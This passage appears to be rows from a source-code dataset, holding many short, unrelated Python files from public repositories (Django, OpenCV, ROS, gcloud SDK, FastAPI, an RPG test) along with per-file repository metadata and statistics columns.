] | 5,922 | 2020-08-19T05:27:43.000Z | 2022-03-31T23:29:17.000Z | examples/rest-api-python/src/db/notes.py | Dzan001/serverless-stack | 69fb992f31ac098b644f50cbddf3aaec4db054cd | [
"MIT"
] | 980 | 2020-09-17T03:09:42.000Z | 2022-03-31T20:21:43.000Z | examples/rest-api-python/src/db/notes.py | Dzan001/serverless-stack | 69fb992f31ac098b644f50cbddf3aaec4db054cd | [
"MIT"
] | 458 | 2020-09-02T13:47:17.000Z | 2022-03-31T12:14:32.000Z | import time
import numpy
def getNotes():
return {
"id1": {
"noteId": "id1",
"userId": "user1",
"content": str(numpy.array([1,2,3,4])),
"createdAt": int(time.time()),
},
"id2": {
"noteId": "id2",
"userId": "user2",
"... | 22.105263 | 51 | 0.419048 | 42 | 420 | 4.190476 | 0.619048 | 0.113636 | 0.170455 | 0.227273 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068182 | 0.371429 | 420 | 18 | 52 | 23.333333 | 0.598485 | 0 | 0 | 0 | 0 | 0 | 0.185714 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.058824 | true | 0 | 0.117647 | 0.058824 | 0.235294 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e27e4a43c502f420400f007b448a9524041c88b3 | 178 | py | Python | src/news/urls.py | HammudElHammud/newspage | feac69bf0fa3dd6c876e88ef0daae4166b367c09 | [
"bzip2-1.0.6"
] | null | null | null | src/news/urls.py | HammudElHammud/newspage | feac69bf0fa3dd6c876e88ef0daae4166b367c09 | [
"bzip2-1.0.6"
] | null | null | null | src/news/urls.py | HammudElHammud/newspage | feac69bf0fa3dd6c876e88ef0daae4166b367c09 | [
"bzip2-1.0.6"
] | null | null | null | from django.contrib import admin
from django.conf.urls import url
from . import views
urlpatterns = {
url(r'^news/(?<pk>\d+)/$', views.news_datile, name='news_datile'),
} | 17.8 | 70 | 0.691011 | 26 | 178 | 4.653846 | 0.615385 | 0.165289 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.146067 | 178 | 10 | 71 | 17.8 | 0.796053 | 0 | 0 | 0 | 0 | 0 | 0.162011 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
e2a191a08714abb0c42a3d02f6d08d58d245f102 | 709 | py | Python | src/pyterpreter/FunctionCallable.py | kinshukk/pyterpreter | 8c1029322da82dde8f39d8e26c1d5748242c14c7 | [
"MIT"
] | 4 | 2020-02-12T22:46:00.000Z | 2020-10-16T17:25:13.000Z | src/pyterpreter/FunctionCallable.py | kinshukk/pyterpreter | 8c1029322da82dde8f39d8e26c1d5748242c14c7 | [
"MIT"
] | null | null | null | src/pyterpreter/FunctionCallable.py | kinshukk/pyterpreter | 8c1029322da82dde8f39d8e26c1d5748242c14c7 | [
"MIT"
] | 1 | 2020-02-18T15:35:19.000Z | 2020-02-18T15:35:19.000Z | from Callable import Callable
from Environment import Environment
class FunctionCallable(Callable):
def __init__(self, declaration):
self.declaration = declaration
def arity(self):
return len(self.declaration.params)
def call(self, interpreter, arguments):
environment = Environmen... | 30.826087 | 72 | 0.708039 | 76 | 709 | 6.473684 | 0.513158 | 0.182927 | 0.085366 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.208745 | 709 | 22 | 73 | 32.227273 | 0.877005 | 0.056417 | 0 | 0 | 0 | 0 | 0.064371 | 0.049401 | 0 | 0 | 0 | 0 | 0 | 1 | 0.266667 | false | 0 | 0.133333 | 0.133333 | 0.666667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 2 |
e2a240ee665e131c6a1630bc56d30e02d74a542a | 453 | py | Python | drawing-shapes/drawing-rectangle.py | woosal1337/cv2 | cae4ad1e3ba4259507acde4db74559a726b09281 | [
"MIT"
] | 39 | 2021-11-08T13:35:10.000Z | 2022-01-20T19:45:17.000Z | drawing-shapes/drawing-rectangle.py | woosal1337/cv2 | cae4ad1e3ba4259507acde4db74559a726b09281 | [
"MIT"
] | null | null | null | drawing-shapes/drawing-rectangle.py | woosal1337/cv2 | cae4ad1e3ba4259507acde4db74559a726b09281 | [
"MIT"
] | 2 | 2021-11-17T01:24:39.000Z | 2022-02-02T00:40:33.000Z | import cv2
image_path = "../assets/img.png"
image = cv2.imread(image_path)
image = cv2.resize(image, (int(image.shape[0] * 0.5), int(image.shape[1] * 0.5)))
image_shape = image.shape
point1 = (int(image_shape[0] * 0.1), int(image_shape[1] * 0.1))
point2 = (int(image_shape[0] * 0.9), int(image_shape[1] * 0.9))
cv2.re... | 26.647059 | 81 | 0.679912 | 78 | 453 | 3.858974 | 0.320513 | 0.265781 | 0.259136 | 0.139535 | 0.299003 | 0 | 0 | 0 | 0 | 0 | 0 | 0.09 | 0.116998 | 453 | 16 | 82 | 28.3125 | 0.6625 | 0 | 0 | 0 | 0 | 0 | 0.066225 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e2b97d3033bb3ab214296b1900d6c7a5c6a11ed2 | 284 | py | Python | src/python_op3/vision_comm/vision_tracking.py | culdo/python-op3 | 59a068ae4c8694778126aebc2ab553963b82493b | [
"MIT"
] | 5 | 2019-08-06T07:28:10.000Z | 2022-01-30T17:00:41.000Z | src/python_op3/vision_comm/vision_tracking.py | culdo/python-op3 | 59a068ae4c8694778126aebc2ab553963b82493b | [
"MIT"
] | 2 | 2019-08-06T15:54:42.000Z | 2021-04-21T02:40:36.000Z | src/python_op3/vision_comm/vision_tracking.py | culdo/python-op3 | 59a068ae4c8694778126aebc2ab553963b82493b | [
"MIT"
] | 5 | 2020-09-25T10:03:51.000Z | 2021-10-18T06:19:43.000Z | import rospy
from geometry_msgs.msg import Point
from std_msgs.msg import String
class VisionTrack:
def __init__(self, ns):
self._pub_face_posintion = rospy.Publisher("/face_position", Point)
self._pub_demo_mode = rospy.Publisher(ns + "/mode_command", String)
| 23.666667 | 75 | 0.735915 | 39 | 284 | 5 | 0.589744 | 0.071795 | 0.133333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.172535 | 284 | 11 | 76 | 25.818182 | 0.829787 | 0 | 0 | 0 | 0 | 0 | 0.095745 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.428571 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
2c437452715dcd6c0879030ae27ac9df8eef1fd5 | 78 | py | Python | new.py | 7wikd/R_Pi-Surveillance | fa488a72b022af2e92e9c8b4c164469625c486d2 | [
"MIT"
] | null | null | null | new.py | 7wikd/R_Pi-Surveillance | fa488a72b022af2e92e9c8b4c164469625c486d2 | [
"MIT"
] | null | null | null | new.py | 7wikd/R_Pi-Surveillance | fa488a72b022af2e92e9c8b4c164469625c486d2 | [
"MIT"
] | null | null | null | array = ['Welcome','to','Turing']
for i in array:
array.append(i.upper()) | 19.5 | 33 | 0.615385 | 12 | 78 | 4 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.153846 | 78 | 4 | 34 | 19.5 | 0.727273 | 0 | 0 | 0 | 0 | 0 | 0.189873 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
2c473e776ed2f110c71b7f90a9480af3f31fea9b | 767 | py | Python | tur/migrations/0003_auto_20190319_1319.py | kopuskopecik/projem | 738b0eeb2bf407b4ef54197cce1ce26ea67279c8 | [
"MIT"
] | 2 | 2021-03-15T08:04:04.000Z | 2021-03-15T08:04:11.000Z | tur/migrations/0003_auto_20190319_1319.py | kopuskopecik/projem | 738b0eeb2bf407b4ef54197cce1ce26ea67279c8 | [
"MIT"
] | null | null | null | tur/migrations/0003_auto_20190319_1319.py | kopuskopecik/projem | 738b0eeb2bf407b4ef54197cce1ce26ea67279c8 | [
"MIT"
] | null | null | null | # Generated by Django 2.0 on 2019-03-19 10:19
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('tur', '0002_dersler_updating_date'),
]
operations = [
migrations.AddField(
model_name='dersler',
name='anahtar',
... | 26.448276 | 78 | 0.581486 | 75 | 767 | 5.826667 | 0.533333 | 0.12357 | 0.157895 | 0.185355 | 0.503432 | 0.503432 | 0.416476 | 0.416476 | 0.416476 | 0.416476 | 0 | 0.052142 | 0.29987 | 767 | 28 | 79 | 27.392857 | 0.761639 | 0.056063 | 0 | 0.5 | 1 | 0 | 0.152355 | 0.036011 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.045455 | 0 | 0.181818 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
2c5ee4c680422e39bc1b4f05645d8e4538d7cf7f | 108 | py | Python | Lib/site-packages/MySQLdb/release.py | pavanmaganti9/djangoapp | d6210386af89af9dae6397176a26a8fcd588d3b4 | [
"bzip2-1.0.6"
] | null | null | null | Lib/site-packages/MySQLdb/release.py | pavanmaganti9/djangoapp | d6210386af89af9dae6397176a26a8fcd588d3b4 | [
"bzip2-1.0.6"
] | null | null | null | Lib/site-packages/MySQLdb/release.py | pavanmaganti9/djangoapp | d6210386af89af9dae6397176a26a8fcd588d3b4 | [
"bzip2-1.0.6"
] | null | null | null |
__author__ = "Inada Naoki <songofacandy@gmail.com>"
version_info = (1,4,2,'final',0)
__version__ = "1.4.2"
| 21.6 | 51 | 0.694444 | 17 | 108 | 3.882353 | 0.764706 | 0.060606 | 0.090909 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.072917 | 0.111111 | 108 | 4 | 52 | 27 | 0.614583 | 0 | 0 | 0 | 0 | 0 | 0.429907 | 0.224299 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
2c89e2ba0b4512654d615954e75150a63b7f9ef4 | 1,236 | py | Python | mysite/organization/views.py | dduong711/test_project | 80ea8dd3944f6968bb872454adc752851da9547d | [
"MIT"
] | null | null | null | mysite/organization/views.py | dduong711/test_project | 80ea8dd3944f6968bb872454adc752851da9547d | [
"MIT"
] | null | null | null | mysite/organization/views.py | dduong711/test_project | 80ea8dd3944f6968bb872454adc752851da9547d | [
"MIT"
] | null | null | null | from django.views.generic.edit import CreateView
from django.views.generic.detail import DetailView
from django.urls import reverse, reverse_lazy
from django.contrib.auth.decorators import login_required
from django.utils.decorators import method_decorator
from django.shortcuts import redirect
from .models import Orga... | 36.352941 | 97 | 0.758091 | 144 | 1,236 | 6.395833 | 0.402778 | 0.065147 | 0.065147 | 0.047774 | 0.067318 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.149676 | 1,236 | 33 | 98 | 37.454545 | 0.876308 | 0 | 0 | 0.076923 | 0 | 0 | 0.072006 | 0.038835 | 0 | 0 | 0 | 0 | 0 | 1 | 0.115385 | false | 0 | 0.307692 | 0.038462 | 0.884615 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
2c9913a7e96be804ee8e70f67be4b2d734c70392 | 213 | py | Python | tests/write-tests/test_display.py | focolab/gcamp-extractor | 5e47ab2cfb75e3f09cfd84d40d8be0739a75d39c | [
"MIT"
] | null | null | null | tests/write-tests/test_display.py | focolab/gcamp-extractor | 5e47ab2cfb75e3f09cfd84d40d8be0739a75d39c | [
"MIT"
] | 26 | 2022-03-01T17:34:45.000Z | 2022-03-31T00:09:55.000Z | tests/write-tests/test_display.py | focolab/gcamp-extractor | 5e47ab2cfb75e3f09cfd84d40d8be0739a75d39c | [
"MIT"
] | null | null | null | import sys
sys.path.append('/Users/stevenban/Documents/eats_worm/eats_worm')
from Extractor import *
from Threads import *
from Curator import *
e = load_extractor(default_arguments['root'])
c = Curator(e)
| 14.2 | 65 | 0.755869 | 30 | 213 | 5.233333 | 0.633333 | 0.101911 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.131455 | 213 | 14 | 66 | 15.214286 | 0.848649 | 0 | 0 | 0 | 0 | 0 | 0.240385 | 0.221154 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.571429 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
2ccd49d6599f180bbe48d3dfa5a06f69594bc05a | 436 | py | Python | apollo/pipeline/pipeline/job.py | ZeyadOsama/apollo | 89e7d7b264b78ace7ef4239899e2dab2568174fa | [
"MIT"
] | null | null | null | apollo/pipeline/pipeline/job.py | ZeyadOsama/apollo | 89e7d7b264b78ace7ef4239899e2dab2568174fa | [
"MIT"
] | 1 | 2021-07-18T12:40:59.000Z | 2021-07-18T12:40:59.000Z | apollo/pipeline/pipeline/job.py | ZeyadOsama/apollo | 89e7d7b264b78ace7ef4239899e2dab2568174fa | [
"MIT"
] | null | null | null | #!/usr/bin/env python
"""job.py: File containing Job class to be used as the executors for the pipeline."""
__author__ = "Zeyad Osama"
class Job:
"""
Job class to be used as the executors for the pipeline.
"""
def __init__(self) -> None:
super().__init__()
def initialize(self):
... | 16.148148 | 85 | 0.587156 | 57 | 436 | 4.280702 | 0.526316 | 0.131148 | 0.135246 | 0.098361 | 0.360656 | 0.360656 | 0.360656 | 0.360656 | 0.360656 | 0.360656 | 0 | 0 | 0.305046 | 436 | 26 | 86 | 16.769231 | 0.805281 | 0.357798 | 0 | 0.333333 | 0 | 0 | 0.042471 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.416667 | false | 0.333333 | 0 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 2 |
2ccd6ca54c6dd2ea4416c6e6ab209109389b62c9 | 1,858 | py | Python | lib/googlecloudsdk/command_lib/config/virtualenv/util.py | google-cloud-sdk-unofficial/google-cloud-sdk | 2a48a04df14be46c8745050f98768e30474a1aac | [
"Apache-2.0"
] | 2 | 2019-11-10T09:17:07.000Z | 2019-12-18T13:44:08.000Z | lib/googlecloudsdk/command_lib/config/virtualenv/util.py | google-cloud-sdk-unofficial/google-cloud-sdk | 2a48a04df14be46c8745050f98768e30474a1aac | [
"Apache-2.0"
] | null | null | null | lib/googlecloudsdk/command_lib/config/virtualenv/util.py | google-cloud-sdk-unofficial/google-cloud-sdk | 2a48a04df14be46c8745050f98768e30474a1aac | [
"Apache-2.0"
] | 1 | 2020-07-25T01:40:19.000Z | 2020-07-25T01:40:19.000Z | # -*- coding: utf-8 -*- #
# Copyright 2021 Google LLC. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | 29.492063 | 76 | 0.745425 | 256 | 1,858 | 5.285156 | 0.550781 | 0.059128 | 0.047302 | 0.037694 | 0.120473 | 0 | 0 | 0 | 0 | 0 | 0 | 0.009458 | 0.146394 | 1,858 | 62 | 77 | 29.967742 | 0.843632 | 0.52099 | 0 | 0 | 0 | 0 | 0.087112 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.272727 | false | 0 | 0.363636 | 0 | 0.818182 | 0.045455 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 2 |
e2c1f25eae995daf15cfeb601d8c6e07d2c00522 | 850 | py | Python | 2015/21_rpg_test.py | pchudzik/adventofcode | e1d6521621f6ca90f9dc53cf3d1ed5b8c5c2b7d1 | [
"MIT"
] | null | null | null | 2015/21_rpg_test.py | pchudzik/adventofcode | e1d6521621f6ca90f9dc53cf3d1ed5b8c5c2b7d1 | [
"MIT"
] | null | null | null | 2015/21_rpg_test.py | pchudzik/adventofcode | e1d6521621f6ca90f9dc53cf3d1ed5b8c5c2b7d1 | [
"MIT"
] | null | null | null | import importlib
rpg_module = importlib.import_module("21_rpg")
Character = rpg_module.Character
encounter = rpg_module.encounter
simulate_battle = rpg_module.simulate_battle
def test_encounter():
player = Character(8, 5, 5)
boss = Character(12, 7, 2)
assert encounter(player, boss) is None
assert bo... | 24.285714 | 50 | 0.703529 | 120 | 850 | 4.816667 | 0.233333 | 0.124567 | 0.145329 | 0.17301 | 0.513841 | 0.439446 | 0.391003 | 0.391003 | 0.391003 | 0.391003 | 0 | 0.035451 | 0.203529 | 850 | 34 | 51 | 25 | 0.818316 | 0 | 0 | 0.375 | 0 | 0 | 0.007059 | 0 | 0 | 0 | 0 | 0 | 0.541667 | 1 | 0.083333 | false | 0 | 0.083333 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e2daf5c89878da51cbda4e6d7296e048a9f4b24c | 695 | py | Python | app/mysql-sqlalchemy.py | garryforgit/flasky | 7117023bf69180b8eacae9dde69c621668ddf11d | [
"MIT"
] | null | null | null | app/mysql-sqlalchemy.py | garryforgit/flasky | 7117023bf69180b8eacae9dde69c621668ddf11d | [
"MIT"
] | null | null | null | app/mysql-sqlalchemy.py | garryforgit/flasky | 7117023bf69180b8eacae9dde69c621668ddf11d | [
"MIT"
] | null | null | null | # coding:utf-8
from flask_sqlalchemy import SQLAlchemy
from hello import db
#SQLALCHEMY_DATABASE_URL="mysql://fly:('flyfly')@localhost/test1"
#SQLALCHEMY_TRACK_MODIFICATIONS = True
class Role(db.Model):
__tablename__ = 'roles'
id = db.Column(db.Integer, primary_key=True)
name = db.Column(db.String(64),... | 24.821429 | 65 | 0.684892 | 96 | 695 | 4.708333 | 0.447917 | 0.088496 | 0.110619 | 0.079646 | 0.311947 | 0.269912 | 0.269912 | 0.146018 | 0 | 0 | 0 | 0.010435 | 0.172662 | 695 | 27 | 66 | 25.740741 | 0.775652 | 0.16259 | 0 | 0.266667 | 0 | 0 | 0.062284 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.133333 | false | 0 | 0.133333 | 0.133333 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
e2e93dbd6f3076026b046be68bc59debb3b4ccbc | 775 | py | Python | notes/_views/viewsets.py | Merino/poc-cbb | eed2226a7d7fbff5d8860075fbdd641f5281dce5 | [
"BSD-3-Clause"
] | null | null | null | notes/_views/viewsets.py | Merino/poc-cbb | eed2226a7d7fbff5d8860075fbdd641f5281dce5 | [
"BSD-3-Clause"
] | 1 | 2016-01-19T12:32:32.000Z | 2016-01-19T12:32:32.000Z | notes/_views/viewsets.py | Merino/poc-cbb | eed2226a7d7fbff5d8860075fbdd641f5281dce5 | [
"BSD-3-Clause"
] | null | null | null | # # encoding: utf-8
#
# from django.conf.urls import patterns, include
# from django.core.urlresolvers import reverse_lazy
#
#
# class BaseViewSet(object):
# def __init__(self, **kwargs):
# super(BaseViewSet, self).__init__()
# for key, value in kwargs.iteritems():
# assert hasattr(self,... | 29.807692 | 65 | 0.587097 | 87 | 775 | 5.057471 | 0.471264 | 0.072727 | 0.054545 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00177 | 0.270968 | 775 | 26 | 66 | 29.807692 | 0.776991 | 0.930323 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
390037201d83cd63c3a8e971c39f1519d819722c | 2,052 | py | Python | blog/migrations/0005_auto_20190624_1315.py | Labbit-kw/hologram-project | 708b773e932f6ad0f92d1d9e2e57cfbd8b17b933 | [
"MIT"
] | null | null | null | blog/migrations/0005_auto_20190624_1315.py | Labbit-kw/hologram-project | 708b773e932f6ad0f92d1d9e2e57cfbd8b17b933 | [
"MIT"
] | null | null | null | blog/migrations/0005_auto_20190624_1315.py | Labbit-kw/hologram-project | 708b773e932f6ad0f92d1d9e2e57cfbd8b17b933 | [
"MIT"
] | null | null | null | # Generated by Django 2.2.2 on 2019-06-24 04:15
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('blog', '0004_board'),
]
operations = [
migrations.DeleteModel(
name='Board',
),
migrations.AlterModelOptions(
... | 27.72973 | 105 | 0.515595 | 180 | 2,052 | 5.744444 | 0.338889 | 0.10058 | 0.138298 | 0.180851 | 0.573501 | 0.573501 | 0.313346 | 0.195358 | 0.098646 | 0 | 0 | 0.020501 | 0.358187 | 2,052 | 73 | 106 | 28.109589 | 0.764617 | 0.02193 | 0 | 0.61194 | 1 | 0 | 0.109227 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.014925 | 0 | 0.059701 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3903624fd80c505f90cadf8b4dfe22f77c2294fc | 647 | py | Python | rosmap/repository_analyzers/offline/i_repository_analyzer.py | jr-robotics/rosmap | eae425c94b43e46227a11d645bb7baa1fc5c5b35 | [
"MIT"
] | 9 | 2019-02-06T10:02:02.000Z | 2022-02-24T16:38:36.000Z | rosmap/repository_analyzers/offline/i_repository_analyzer.py | jr-robotics/rosmap | eae425c94b43e46227a11d645bb7baa1fc5c5b35 | [
"MIT"
] | null | null | null | rosmap/repository_analyzers/offline/i_repository_analyzer.py | jr-robotics/rosmap | eae425c94b43e46227a11d645bb7baa1fc5c5b35 | [
"MIT"
] | 1 | 2020-01-13T00:43:03.000Z | 2020-01-13T00:43:03.000Z | from abc import ABCMeta, abstractmethod
class IRepositoryAnalyzer(object):
"""
Interface for classes implementing Repository-analysis.
"""
__metaclass__ = ABCMeta
@abstractmethod
def analyze_repositories(self, path: str, repo_details: dict) -> None:
"""
Analyzes all repositori... | 28.130435 | 95 | 0.673879 | 65 | 647 | 6.6 | 0.646154 | 0.097902 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.255023 | 647 | 22 | 96 | 29.409091 | 0.890041 | 0.384853 | 0 | 0.444444 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.222222 | false | 0 | 0.111111 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 2 |
39080a3dcea4b5bb7e1c10d7b1be6ca6edf82165 | 2,814 | py | Python | tests/nnapi/specs/V1_0/concat_float_4D_axis3_1_nnfw.mod.py | periannath/ONE | 61e0bdf2bcd0bc146faef42b85d469440e162886 | [
"Apache-2.0"
] | 255 | 2020-05-22T07:45:29.000Z | 2022-03-29T23:58:22.000Z | tests/nnapi/specs/V1_0/concat_float_4D_axis3_1_nnfw.mod.py | periannath/ONE | 61e0bdf2bcd0bc146faef42b85d469440e162886 | [
"Apache-2.0"
] | 5,102 | 2020-05-22T07:48:33.000Z | 2022-03-31T23:43:39.000Z | tests/nnapi/specs/V1_0/concat_float_4D_axis3_1_nnfw.mod.py | periannath/ONE | 61e0bdf2bcd0bc146faef42b85d469440e162886 | [
"Apache-2.0"
] | 120 | 2020-05-22T07:51:08.000Z | 2022-02-16T19:08:05.000Z | #
# Copyright (C) 2017 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | 43.292308 | 79 | 0.602701 | 406 | 2,814 | 4.160099 | 0.369458 | 0.010657 | 0.01421 | 0.016578 | 0.448786 | 0.120782 | 0.120782 | 0.120782 | 0.071048 | 0.071048 | 0 | 0.346369 | 0.236674 | 2,814 | 64 | 80 | 43.96875 | 0.439944 | 0.236318 | 0 | 0 | 0 | 0 | 0.086984 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
390b1fb2d4091aecc904734a5d0a639eb8b4e4a8 | 519 | py | Python | routers/epic.py | chenx6/message-integration-api | 5a80eac8d72620af87bbdb16cf489858001c9d8f | [
"MIT"
] | null | null | null | routers/epic.py | chenx6/message-integration-api | 5a80eac8d72620af87bbdb16cf489858001c9d8f | [
"MIT"
] | null | null | null | routers/epic.py | chenx6/message-integration-api | 5a80eac8d72620af87bbdb16cf489858001c9d8f | [
"MIT"
] | null | null | null | from fastapi import APIRouter, Depends
from sqlalchemy.orm import Session
from schemas.item_resp import ItemsResp
from crud.epic_free_game import get_epic_free_game
from utils import get_db
router = APIRouter(prefix="/api", tags=["epic"])
@router.get("/epic", response_model=ItemsResp)
